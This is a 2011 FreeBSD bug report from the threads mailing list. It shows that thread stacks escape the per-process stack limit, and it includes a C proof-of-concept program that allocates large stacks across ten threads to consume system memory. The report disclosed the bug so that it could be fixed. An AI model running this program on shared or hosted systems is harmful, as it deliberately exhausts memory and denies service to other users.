threads/160708: Bypass process stack quota :)

Michael Pounov misho at elwix.org
Tue Sep 13 14:20:06 UTC 2011


>Number:         160708
>Category:       threads
>Synopsis:       Bypass process stack quota :)
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-threads
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Sep 13 14:20:05 UTC 2011
>Closed-Date:
>Last-Modified:
>Originator:     Michael Pounov
>Release:        FreeBSD 8.2 and FreeBSD 9.0-CURRENT
>Organization:
ELWIX
>Environment:
FreeBSD misho.batmbg.com 8.2-STABLE FreeBSD 8.2-STABLE #1: Tue Jun 14 12:17:19 EEST 2011     root at misho.batmbg.com:/usr/obj/usr/src/sys/GENERIC  i386

FreeBSD elwix.aitnet.org 9.0-CURRENT FreeBSD 9.0-CURRENT #8: Sun Jul 17 14:36:16 EEST 2011     root at elwix.aitnet.org:/usr/obj/usr/src/sys/GENERIC  i386

>Description:
With thread application you may get all system memory for one process. 
Excellent DoS for hostings and other application providers.


When you use threads his stack not are restricted from system's quota and you may get all memory.

>How-To-Repeat:
Compile and start program "pt" from PR

example: ./pt 10000 
>Fix:


Patch attached with submission follows:

/*
 * Problem with stack limit per process. 
 * 	Bypass process stack limit quota from threads :) NICE! :-P
 *
 * Tested on FreeBSD 8.x/9.x
 *
 * Author: Michael Pounov <misho at elwix.org>
 *
 * cc -o pt -O2 -g -Wall pt.c -lpthread
 *
 * Test: ./pt [KBytes]
 * Example: ./pt 10000  # test with 10MB stack size per thread * 10 = 100MB total size
 * 				you may add and 100MB stack size per thread :):):)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/resource.h>

void *
meow(void *slen)
{
	char *buf = (char*) &buf;

	buf = alloca(((size_t) slen) - sizeof(char*));
	printf("buf[%u]->%p\n", ((size_t) slen) - sizeof(char*), buf);
	fflush(stdout);
	if (!buf)
		printf("allocation with size %u failed #%d - %s\n", 
				(size_t) slen, errno, strerror(errno));
	else {
		memset(buf, '*', ((size_t) slen) - sizeof(char*));
		buf[((size_t) slen) - sizeof(char*) - 1] = 0;
		printf("successful allocated memory with %u bytes :) test print=%s\n", 
				(size_t) slen, buf + (((size_t) slen) - sizeof(char*) - 8));
	}

	sleep(10);
	printf("done.\n");
	return NULL;
}

int
main(int argc, char **argv)
{
#define TIDZ 10
	pthread_attr_t attr;
	pthread_t tid[TIDZ];
	size_t stacklen;
	register int i;
	struct rlimit rl;
	int kblen;

	kblen = argc > 1 ? strtol(argv[1], NULL, 0) : 1;

	getrlimit(RLIMIT_STACK, &rl);
	printf("stack limit: current=%llu KB max=%llu KB\n", 
			rl.rlim_cur / ((rlim_t) 1024), rl.rlim_max / ((rlim_t) 1024));
	printf("we try to get %d * %u KB = %u KB\n", TIDZ, kblen, kblen * TIDZ);
	if (((rlim_t) kblen * TIDZ) < (rl.rlim_max / ((rlim_t) 1024))) {
		printf("Error:: new stack size %u KB is under process stack limit %llu KB\n", 
				kblen * TIDZ, rl.rlim_max / ((rlim_t) 1024));
		return 1;
	}

	pthread_attr_init(&attr);
	pthread_attr_getstacksize(&attr, &stacklen);
	printf("default stacklen=%u\n", stacklen);
	pthread_attr_setstacksize(&attr, kblen * 1024);
	pthread_attr_getstacksize(&attr, &stacklen);
	printf("new stacklen=%u\n", stacklen);

	for (i = 0; i < TIDZ; i++)
		pthread_create(&tid[i], &attr, meow, (void*) stacklen);

	for (i = 0; i < TIDZ; i++)
		pthread_join(tid[i], NULL);

	pthread_attr_destroy(&attr);

	return 0;
}


>Release-Note:
>Audit-Trail:
>Unformatted:


More information about the freebsd-threads mailing list